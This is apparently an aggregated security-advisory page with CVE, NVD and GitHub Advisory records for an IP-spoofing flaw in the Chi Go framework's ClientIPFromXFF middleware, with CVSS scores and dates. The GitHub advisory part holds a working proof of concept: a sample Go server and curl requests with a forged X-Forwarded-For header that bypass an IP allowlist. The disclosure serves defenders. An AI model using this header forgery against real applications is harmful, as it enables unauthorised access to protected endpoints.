Chi Client IP Spoofing in ClientIPFromXFF via X-Forwarded-For

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP. This issue affects chi before 5.4.0.

Source published

21 Oct 2026 13:52:25 UTC

Source modified

21 Oct 2026 17:19:13 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 4.8 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

CVSS 4.0 · 6.3 CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP. This issue affects chi before 5.4.0.

Source published

21 Oct 2026 14:17:14 UTC

Source modified

21 Oct 2026 18:17:27 UTC

Observed here

25 Oct 2026 05:17:18 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 6.3 CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 4.8 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

### Summary `ClientIPFromXFF` skips any `X-Forwarded-For` entry in a configured trusted CIDR but never verifies that the direct TCP peer in `http.Request.RemoteAddr` belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by `middleware.GetClientIP`. The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N). **Preconditions:** The application uses `ClientIPFromXFF` and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required. 1. Send `GET /admin` directly to the origin with no `X-Forwarded-For` header. 2. Observe a `403 Forbidden` response and an empty derived client IP. 3. Repeat the request with `X-Forwarded-For: 10.0.0.7, 198.51.100.42`. 4. Observe `200 OK` and `client-ip="10.0.0.7"`. Expected: the untrusted direct peer prevents the forwarding chain from being accepted. ### Details The vulnerable code is `ClientIPFromXFF` in `middleware/client_ip.go`, lines 93-116 at the tested revision. It calls `walkXFF` with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address: ```go walkXFF(r.Header[xForwardedForHeader], func(v string) bool { ip, ok := parseHeaderAddr(v) if !ok { return true } if inAnyPrefix(ip, prefixes) { return false } found = ip return true }) ``` The function does not parse `r.RemoteAddr` before this walk. Consequently, the configured CIDRs identify trusted strings inside `X-Forwarded-For`, but do not establish that the immediate sender is one of those trusted proxies. ### Proof of concept Using Go 1.24 or later, create and run this minimal application against the tested revision: ```sh mkdir chi-clientip-poc cd chi-clientip-poc go mod init clientip-poc go get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1 cat > main.go <<'EOF' package main import ( "fmt" "log" "net/http" "github.com/go-chi/chi/v5" "github.com/go-chi/chi/v5/middleware" ) const allowedIP = "10.0.0.7" func main() { r := chi.NewRouter() r.Use(middleware.ClientIPFromXFF("198.51.100.0/24")) r.Get("/admin", func(w http.ResponseWriter, r *http.Request) { clientIP := middleware.GetClientIP(r.Context()) if clientIP != allowedIP { http.Error(w, fmt.Sprintf("denied: tcp-peer=%q client-ip=%q", r.RemoteAddr, clientIP), http.StatusForbidden) return } fmt.Fprintf(w, "allowed: tcp-peer=%q client-ip=%q\n", r.RemoteAddr, clientIP) }) log.Print("listening on http://127.0.0.1:3001") log.Fatal(http.ListenAndServe("127.0.0.1:3001", r)) } EOF go run . ``` The no-header control was rejected: ```console $ curl --http1.1 -i http://127.0.0.1:3001/admin HTTP/1.1 403 Forbidden Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 06 Oct 2026 15:46:27 GMT Content-Length: 48 denied: tcp-peer="127.0.0.1:54416" client-ip="" ``` Adding the forged chain authorized the same direct client: ```console $ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin HTTP/1.1 200 OK Date: Tue, 06 Oct 2026 15:46:33 GMT Content-Length: 57 Content-Type: text/plain; charset=utf-8 allowed: tcp-peer="127.0.0.1:54417" client-ip="10.0.0.7" ``` ### Impact I made an anonymous direct connection from `127.0.0.1`, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted `10.0.0.7`. This changed the authorization decision from `403 Forbidden` to `200 OK` for the protected handler.

Source published

23 Oct 2026 20:56:46 UTC

Source modified

23 Oct 2026 21:15:03 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Publisher rating · MODERATE